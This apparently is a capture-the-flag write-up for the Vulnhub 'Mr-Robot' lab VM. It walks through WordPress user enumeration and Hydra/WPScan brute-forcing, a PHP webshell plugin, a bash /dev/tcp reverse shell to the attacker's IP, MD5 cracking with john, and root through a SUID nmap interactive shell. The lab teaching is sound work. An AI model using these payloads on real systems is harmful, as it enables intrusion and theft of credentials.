Mr-Robot – Vulnhub Link to heading
- OS: Linux
- Difficulty: Easy
- Platform: Vulnhub
Summary Link to heading
Mr-Robot
is an easy and free Linux
machine from Vulnhub
. After an initial scan above TCP
ports, they show the victim machine is running a website. This website is running on WordPress
. Since Wordpress
shows a different message when a user exists or not (even if we provide a wrong password), we can abuse this message error to search for valid users thanks to a previously found dictionary. We can use this dictionary to bruteforce the user and the password for this user. Once inside the WordPress
panel, we are able to add a custom malicious plugin and gain initial access to the target machine. We are able to find a password hash and crack it though a Bruteforce Password Cracking
and pivot to a new user. Finally, we see that there is an unusual SUID
file which can be abused to gain access as root
user.
User Link to heading
- Starting with a
Nmap
scan for openTCP
ports shows the following:
❯ sudo nmap -sS -p- --open --min-rate=5000 -n -Pn -vvv 10.20.1.120
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-08-13 01:02 -04
Initiating ARP Ping Scan at 01:02
Scanning 10.20.1.120 [1 port]
Completed ARP Ping Scan at 01:02, 0.08s elapsed (1 total hosts)
Initiating SYN Stealth Scan at 01:02
Scanning 10.20.1.120 [65535 ports]
Discovered open port 443/tcp on 10.20.1.120
Discovered open port 80/tcp on 10.20.1.120
Completed SYN Stealth Scan at 01:03, 26.39s elapsed (65535 total ports)
Nmap scan report for 10.20.1.120
Host is up, received arp-response (0.00038s latency).
Scanned at 2024-08-13 01:02:38 -04 for 26s
Not shown: 65532 filtered tcp ports (no-response), 1 closed tcp port (reset)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT STATE SERVICE REASON
80/tcp open http syn-ack ttl 64
443/tcp open https syn-ack ttl 64
MAC Address: 08:00:27:67:F5:05 (Oracle VirtualBox virtual NIC)
From the scan we can see 2 ports open: 80
HTTP
and 443
HTTPs
:
❯ sudo nmap -sVC -p80,443 10.20.1.120 -oN targeted
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-08-13 01:06 -04
Nmap scan report for 10.20.1.120
Host is up (0.00038s latency).
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd
|_http-server-header: Apache
|_http-title: Site doesn't have a title (text/html).
443/tcp open ssl/http Apache httpd
|_http-server-header: Apache
| ssl-cert: Subject: commonName=www.example.com
| Not valid before: 2015-09-16T10:45:03
|_Not valid after: 2025-09-13T10:45:03
|_http-title: Site doesn't have a title (text/html).
MAC Address: 08:00:27:67:F5:05 (Oracle VirtualBox virtual NIC)
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 34.74 seconds
Using WhatWeb
on this site shows the following:
❯ whatweb -a3 http://10.20.1.120
http://10.20.1.120 [200 OK] Apache, Country[RESERVED][ZZ], HTML5, HTTPServer[Apache], IP[10.20.1.120], Script, UncommonHeaders[x-mod-pagespeed], X-Frame-Options[SAMEORIGIN]
where I can’t see any interesting info.
Visiting http://10.120.1.120
(the victim’s machine IP address) shows a simple webpage:
There I can see many “commands” as options. Selecting every one of them shows different videos and posts related to “Mr. Robot” show series. At this point I start to search for directories attempting a Brute Force Directory Listing
with Gobuster
:
❯ gobuster dir -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -u http://10.20.1.120 -x php,txt
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://10.20.1.120
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.6
[+] Extensions: php,txt
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/images (Status: 301) [Size: 234] [--> http://10.20.1.120/images/]
/index.php (Status: 301) [Size: 0] [--> http://10.20.1.120/]
/blog (Status: 301) [Size: 232] [--> http://10.20.1.120/blog/]
/rss (Status: 301) [Size: 0] [--> http://10.20.1.120/feed/]
/sitemap (Status: 200) [Size: 0]
/login (Status: 302) [Size: 0] [--> http://10.20.1.120/wp-login.php]
/0 (Status: 301) [Size: 0] [--> http://10.20.1.120/0/]
/feed (Status: 301) [Size: 0] [--> http://10.20.1.120/feed/]
/video (Status: 301) [Size: 233] [--> http://10.20.1.120/video/]
/image (Status: 301) [Size: 0] [--> http://10.20.1.120/image/]
/atom (Status: 301) [Size: 0] [--> http://10.20.1.120/feed/atom/]
/wp-content (Status: 301) [Size: 238] [--> http://10.20.1.120/wp-content/]
/admin (Status: 301) [Size: 233] [--> http://10.20.1.120/admin/]
/audio (Status: 301) [Size: 233] [--> http://10.20.1.120/audio/]
/intro (Status: 200) [Size: 516314]
/wp-login (Status: 200) [Size: 2657]
/wp-login.php (Status: 200) [Size: 2657]
/css (Status: 301) [Size: 231] [--> http://10.20.1.120/css/]
/rss2 (Status: 301) [Size: 0] [--> http://10.20.1.120/feed/]
/license (Status: 200) [Size: 309]
/license.txt (Status: 200) [Size: 309]
/wp-includes (Status: 301) [Size: 239] [--> http://10.20.1.120/wp-includes/]
/js (Status: 301) [Size: 230] [--> http://10.20.1.120/js/]
/wp-register.php (Status: 301) [Size: 0] [--> http://10.20.1.120/wp-login.php?action=register]
/Image (Status: 301) [Size: 0] [--> http://10.20.1.120/Image/]
/wp-rss2.php (Status: 301) [Size: 0] [--> http://10.20.1.120/feed/]
/rdf (Status: 301) [Size: 0] [--> http://10.20.1.120/feed/rdf/]
/page1 (Status: 301) [Size: 0] [--> http://10.20.1.120/]
/readme (Status: 200) [Size: 64]
/robots (Status: 200) [Size: 41]
/robots.txt (Status: 200) [Size: 41]
/dashboard (Status: 302) [Size: 0] [--> http://10.20.1.120/wp-admin/]
/%20 (Status: 301) [Size: 0] [--> http://10.20.1.120/]
/wp-admin (Status: 301) [Size: 236] [--> http://10.20.1.120/wp-admin/]
From these directories I note that this site is running on WordPress
. Visiting http://10.20.1.120/wp-admin
directory just confirms it:
Additionally, I note there is a robots.txt
file. Checking it with cURL
on console shows:
❯ curl -s http://10.20.1.120/robots.txt
User-agent: *
fsocity.dic
key-1-of-3.txt
where I can see 2 potential files: fsocity.dic
and key-1-of-3.txt
If I check the content of http://10.20.1.120/fsocity.dic
we have a lot of words. We can visit that page in a web browser and this file will be downloaded. I note that this dictionary has 858160 lines/words:
❯ cat fsocity.dic | wc -l
858160
key-1-of-3.txt
file shows some text:
❯ curl -s http://10.20.1.120/key-1-of-3.txt
073403c8a58a1f80d943455fb30724b9
which is the first flag of the machine.
At this point, since the site is using WordPress
, I will use WPScan
against this site. First, scanning for plugins:
❯ wpscan -e ap --plugins-detection aggressive --url http://10.20.1.120 -t 40
_______________________________________________________________
__ _______ _____
\ \ / / __ \ / ____|
\ \ /\ / /| |__) | (___ ___ __ _ _ __ ®
\ \/ \/ / | ___/ \___ \ / __|/ _` | '_ \
\ /\ / | | ____) | (__| (_| | | | |
\/ \/ |_| |_____/ \___|\__,_|_| |_|
WordPress Security Scanner by the WPScan Team
Version 3.8.25
Sponsored by Automattic - https://automattic.com/
@_WPScan_, @ethicalhack3r, @erwan_lr, @firefart
_______________________________________________________________
[i] It seems like you have not updated the database for some time.
[?] Do you want to update now? [Y]es [N]o, default: [N]n
[+] URL: http://10.20.1.120/ [10.20.1.120]
[+] Started: Tue Aug 13 01:36:17 2024
Interesting Finding(s):
[+] Headers
| Interesting Entries:
| - Server: Apache
| - X-Mod-Pagespeed: 1.9.32.3-4523
| Found By: Headers (Passive Detection)
| Confidence: 100%
[+] robots.txt found: http://10.20.1.120/robots.txt
| Found By: Robots Txt (Aggressive Detection)
| Confidence: 100%
[+] XML-RPC seems to be enabled: http://10.20.1.120/xmlrpc.php
| Found By: Direct Access (Aggressive Detection)
| Confidence: 100%
| References:
| - http://codex.wordpress.org/XML-RPC_Pingback_API
| - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_ghost_scanner/
| - https://www.rapid7.com/db/modules/auxiliary/dos/http/wordpress_xmlrpc_dos/
| - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_xmlrpc_login/
| - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_pingback_access/
[+] The external WP-Cron seems to be enabled: http://10.20.1.120/wp-cron.php
| Found By: Direct Access (Aggressive Detection)
| Confidence: 60%
| References:
| - https://www.iplocation.net/defend-wordpress-from-ddos
| - https://github.com/wpscanteam/wpscan/issues/1299
[+] WordPress version 4.3.1 identified (Insecure, released on 2015-09-15).
| Found By: Emoji Settings (Passive Detection)
| - http://10.20.1.120/0a0fd7f.html, Match: 'wp-includes\/js\/wp-emoji-release.min.js?ver=4.3.1'
| Confirmed By: Meta Generator (Passive Detection)
| - http://10.20.1.120/0a0fd7f.html, Match: 'WordPress 4.3.1'
[+] WordPress theme in use: twentyfifteen
| Location: http://10.20.1.120/wp-content/themes/twentyfifteen/
| Last Updated: 2023-11-07T00:00:00.000Z
| Readme: http://10.20.1.120/wp-content/themes/twentyfifteen/readme.txt
| [!] The version is out of date, the latest version is 3.6
| Style URL: http://10.20.1.120/wp-content/themes/twentyfifteen/style.css?ver=4.3.1
| Style Name: Twenty Fifteen
| Style URI: https://wordpress.org/themes/twentyfifteen/
| Description: Our 2015 default theme is clean, blog-focused, and designed for clarity. Twenty Fifteen's simple, st...
| Author: the WordPress team
| Author URI: https://wordpress.org/
|
| Found By: Css Style In 404 Page (Passive Detection)
|
| Version: 1.3 (80% confidence)
| Found By: Style (Passive Detection)
| - http://10.20.1.120/wp-content/themes/twentyfifteen/style.css?ver=4.3.1, Match: 'Version: 1.3'
[+] Enumerating All Plugins (via Aggressive Methods)
Checking Known Locations - Time: 00:29:34 <=====================================================================================> (104860 / 104860) 100.00% Time: 00:29:34
[+] Checking Plugin Versions (via Passive and Aggressive Methods)
[i] Plugin(s) Identified:
[+] akismet
| Location: http://10.20.1.120/wp-content/plugins/akismet/
| Latest Version: 5.3.1
| Last Updated: 2024-01-17T22:32:00.000Z
|
| Found By: Known Locations (Aggressive Detection)
| - http://10.20.1.120/wp-content/plugins/akismet/, status: 403
|
| The version could not be determined.
<SNIP>
[!] No WPScan API Token given, as a result vulnerability data has not been output.
[!] You can get a free API token with 25 daily requests by registering at https://wpscan.com/register
[+] Finished: Tue Aug 13 02:06:24 2024
[+] Requests Done: 104918
[+] Cached Requests: 55
[+] Data Sent: 27.47 MB
[+] Data Received: 33.071 MB
[+] Memory used: 434.199 MB
[+] Elapsed time: 00:30:06
Old WordPress
version shows the message Invalid username
when we provide an invalid username and/or password. But if the user exists this message is not displayed. For example:
If a user exists, but the password is not correct, we usually don’t get this message. We can play with this response with Hydra
attempting to “bruteforce” users from the dictionary we have just downloaded. I note that there are some duplicated lines in fsocity.dic
file, so we save the non-repeated lines into a new file:
❯ sort -u fsocity.dic > sorted_fsocity.dic
Doing this small step saves us a lot of time, since we pass from the original file with a huge number of lines (more than 80 000+
):
❯ cat fsocity.dic | wc -l
858160
to only almost 11 000
:
❯ cat sorted_fsocity.dic | wc -l
11451
To see what is sent to the server when we make a request to /wp-login.php
I start a listener with Burpsuite
. I intercept the request sent after testing with user user
and password password
. Doing this we get:
POST /wp-login.php HTTP/1.1
Host: 10.20.1.120
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 102
Origin: http://10.20.1.120
DNT: 1
Connection: close
Referer: http://10.20.1.120/wp-login.php
Cookie: wordpress_test_cookie=WP+Cookie+check
Upgrade-Insecure-Requests: 1
log=user&pwd=password&wp-submit=Log+In&redirect_to=http%3A%2F%2F10.20.1.120%2Fwp-admin%2F&testcookie=1
where the important part is the data sent as POST
request at the bottom of it. I note that if we just send the data:
log=<user>&pwd=<password>
the HTTP
request from above works as well.
Now, use Hydra
. We want to make HTTP
requests until the response does not contain the string Invalid username
. We can do this running:
❯ hydra -L sorted_fsocity.dic -p testrandompassword 10.20.1.120 http-post-form "/wp-login.php:log=^USER^&pwd=^PASS^:Invalid username" -V -F
where:
-L
is a file containing the potential users. In this case isfsocity.dic
file without the repeated lines.-p
is a random password for theWordPress
login panel.http-post-form
is the method used byHydra
to attempt a bruteforce."/wp-login.php:log=^USER^&pwd=^PASS^:Invalid username"
is the post data to send. First we specify the route/wp.login.php
. After the first two dots:
, we specify the data to post;^USER^
will be replaced by the values of the file provided with-L
whereas^PASS^
will be replaced by the value provided by-p
flag. After the second two dots we pass the text that does not have to be present in the response.-V
is the verbose option to view the sent requests.-F
is to stop when a valid combination is found.
- After some time I get something:
❯ hydra -L sorted_fsocity.dic -p testrandompassword 10.20.1.120 http-post-form "/wp-login.php:log=^USER^&pwd=^PASS^:Invalid username" -V -F
<SNIP>
[ATTEMPT] target 10.20.1.120 - login "emails" - pass "testrandompassword" - 5487 of 11452 [child 15] (0/0)
[ATTEMPT] target 10.20.1.120 - login "embed" - pass "testrandompassword" - 5488 of 11452 [child 7] (0/0)
[80][http-post-form] host: 10.20.1.120 login: elliot password: testrandompassword
[STATUS] attack finished for 10.20.1.120 (valid pair found)
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2024-08-13 03:21:00
where we have a user: elliot
As was mentioned before, if we put the user elliot
and a random password at /wp-login.php
the error message is different:
Now, I can use this user to attempt a bruteforce login through a Brute Force Password Login
. For this we can use again WPScan
:
❯ wpscan --password-attack xmlrpc -t 20 -U elliot -P sorted_fsocity.dic --url http://10.20.1.120
<SNIP>
[+] Performing password attack on Xmlrpc against 1 user/s
[SUCCESS] - elliot / ER28-0652
Trying elliot / escape Time: 00:01:58 <============================== > (5640 / 17091) 32.99% ETA: ??:??:??
[!] Valid Combinations Found:
| Username: elliot, Password: ER28-0652
[!] No WPScan API Token given, as a result vulnerability data has not been output.
[!] You can get a free API token with 25 daily requests by registering at https://wpscan.com/register
[+] Finished: Tue Aug 13 03:25:40 2024
[+] Requests Done: 5813
[+] Cached Requests: 6
[+] Data Sent: 2.883 MB
[+] Data Received: 3.8 MB
[+] Memory used: 311.969 MB
[+] Elapsed time: 00:02:09
where we have valid credentials: elliot:ER28-0652
Using these credentials work and we are inside the panel:
Now we can try to inject some code in some of the editable files we have. For this we can click on Plugins
and then on Add New
. If we do that we should see:
Now, I will create a “malicious” plugin with the following PHP
code in a file called CMD.php
:
<?php
/*
Plugin Name: CMD Plugin
Version: 1.0.0
Author: gunzf0x
Author URI: wordpress.org
License: GPL2
*/
system($_REQUEST["CMD"]);
?>
and compress it to a .zip
file which I will call webshell.zip
:
❯ zip webshell.zip CMD.php
adding: CMD.php (deflated 8%)
Back to WordPress
portal, click on Upload Plugin
button at the top of the site and select our created .zip
file. We should see something like:
and click on Install Now
.
If this worked we should now see:
where it says that our plugin has been successfully installed.
Since my plugin is called webshell
with a file CMD.php
within it, it should be located at /wp-content/plugins/webshell
directory. I check if this site exists with cURL
:
❯ curl -I http://10.20.1.120/wp-content/plugins/webshell/CMD.php
HTTP/1.1 200 OK
Date: Tue, 13 Aug 2024 03:52:15 GMT
Server: Apache
X-Powered-By: PHP/5.5.29
X-Frame-Options: SAMEORIGIN
Cache-Control: max-age=0, no-cache
Content-Type: text/html; charset=UTF-8
and our malicious plugin is there.
We check if we can remotely can run commands with cURL
as well. For example, for the command id
:
❯ curl -s -X GET -G 'http://10.20.1.120/wp-content/plugins/webshell/CMD.php' --data-urlencode 'CMD=id'
uid=1(daemon) gid=1(daemon) groups=1(daemon)
I will start a netcat
listener on port 443
:
❯ nc -lvnp 443
listening on [any] 443 ...
and now send me a reverse shell with cURL
through the malicious plugin:
❯ curl -s -X GET -G 'http://10.20.1.120/wp-content/plugins/webshell/CMD.php' --data-urlencode 'CMD=bash -c "bash -i >& /dev/tcp/10.20.1.115/443 0>&1"'
where 10.20.1.115
is my attacker IP address and 443
is the port I am already listening with netcat
I get a reverse shell as daemon
user:
❯ nc -lvnp 443
listening on [any] 443 ...
connect to [10.20.1.115] from (UNKNOWN) [10.20.1.120] 58162
bash: cannot set terminal process group (1715): Inappropriate ioctl for device
bash: no job control in this shell
daemon@linux:/opt/bitnami/apps/wordpress/htdocs/wp-content/plugins/webshell$ whoami
daemon
I note that there is a user robot
in the machine:
daemon@linux:/opt/bitnami/apps/wordpress/htdocs$ ls -la /home
total 12
drwxr-xr-x 3 root root 4096 Nov 13 2015 .
drwxr-xr-x 22 root root 4096 Sep 16 2015 ..
drwxr-xr-x 2 root root 4096 Nov 13 2015 robot
and inside its directory we have:
daemon@linux:/opt/bitnami/apps/wordpress/htdocs$ ls -la /home/robot
total 16
drwxr-xr-x 2 root root 4096 Nov 13 2015 .
drwxr-xr-x 3 root root 4096 Nov 13 2015 ..
-r-------- 1 robot robot 33 Nov 13 2015 key-2-of-3.txt
-rw-r--r-- 1 robot robot 39 Nov 13 2015 password.raw-md5
where we can see a file password.raw-md5
Reading it provides a hash:
daemon@linux:/opt/bitnami/apps/wordpress/htdocs$ cat /home/robot/password.raw-md5
robot:c3fcd3d76192e4007dfb496cca67e13b
I save this user and hash into a file called robot_hash
and attempt a Brute Force Password Cracking
with JohnTheRipper
(john
). Using hash-identifier
shows it is a MD5
hash:
❯ hash-identifier
#########################################################################
# __ __ __ ______ _____ #
# /\ \/\ \ /\ \ /\__ _\ /\ _ `\ #
# \ \ \_\ \ __ ____ \ \ \___ \/_/\ \/ \ \ \/\ \ #
# \ \ _ \ /'__`\ / ,__\ \ \ _ `\ \ \ \ \ \ \ \ \ #
# \ \ \ \ \/\ \_\ \_/\__, `\ \ \ \ \ \ \_\ \__ \ \ \_\ \ #
# \ \_\ \_\ \___ \_\/\____/ \ \_\ \_\ /\_____\ \ \____/ #
# \/_/\/_/\/__/\/_/\/___/ \/_/\/_/ \/_____/ \/___/ v1.2 #
# By Zion3R #
# www.Blackploit.com #
# Root@Blackploit.com #
#########################################################################
--------------------------------------------------
HASH: c3fcd3d76192e4007dfb496cca67e13b
Possible Hashs:
[+] MD5
[+] Domain Cached Credentials - MD4(MD4(($pass)).(strtolower($username)))
<SNIP>
Therefore with john
we set Raw-MD5
format. We try to crack the hash using rockyou.txt
dictionary:
❯ john --format=Raw-MD5 --wordlist=/usr/share/wordlists/rockyou.txt robot_hash
Using default input encoding: UTF-8
Loaded 1 password hash (Raw-MD5 [MD5 256/256 AVX2 8x3])
Warning: no OpenMP support for this hash type, consider --fork=5
Press 'q' or Ctrl-C to abort, almost any other key for status
abcdefghijklmnopqrstuvwxyz (?)
1g 0:00:00:00 DONE (2024-08-13 04:20) 50.00g/s 2035Kp/s 2035Kc/s 2035KC/s bonjour1..teletubbies
Use the "--show --format=Raw-MD5" options to display all of the cracked passwords reliably
Session completed.
We have credentials: robot:abcdefghijklmnopqrstuvwxyz
Since we do not have any service available at the machine, I pivot to this user internally providing the found password:
daemon@linux:/opt/bitnami/apps/wordpress/htdocs$ su robot
Password:
robot@linux:/opt/bitnami/apps/wordpress/htdocs$ whoami
robot
where we can see the second flag/user flag:
robot@linux:~$ cat /home/robot/key-2-of-3.txt
822c73956184f694993bede3eb39f959
Root Link to heading
Finally, searching for SUID
binaries shows one that is not common:
robot@linux:~$ find / -perm -4000 2>/dev/null
/bin/ping
/bin/umount
/bin/mount
/bin/ping6
/bin/su
/usr/bin/passwd
/usr/bin/newgrp
/usr/bin/chsh
/usr/bin/chfn
/usr/bin/gpasswd
/usr/bin/sudo
/usr/local/bin/nmap
/usr/lib/openssh/ssh-keysign
/usr/lib/eject/dmcrypt-get-device
/usr/lib/vmware-tools/bin32/vmware-user-suid-wrapper
/usr/lib/vmware-tools/bin64/vmware-user-suid-wrapper
/usr/lib/pt_chown
where /usr/local/bin/nmap
is not a common one.
Based on GTFOBins
for Nmap, the versions for Nmap
that have --interactive
flag are from 2.02
to 5.21
. Checking our Nmap
binary version:
robot@linux:~$ /usr/local/bin/nmap -V
nmap version 3.81 ( http://www.insecure.org/nmap/ )
we have a version 3.81
.
Therefore I use Nmap
in interactive mode and spawn a shell as GTFOBins
indicates:
robot@linux:~$ nmap --interactive
Starting nmap V. 3.81 ( http://www.insecure.org/nmap/ )
Welcome to Interactive Mode -- press h <enter> for help
nmap> !/bin/sh
# whoami
root
and that’s it! We can read the last key/flag:
# cat /root/key-3-of-3.txt
04787ddef27c3dee1ee161b21670b4e4
~Happy Hacking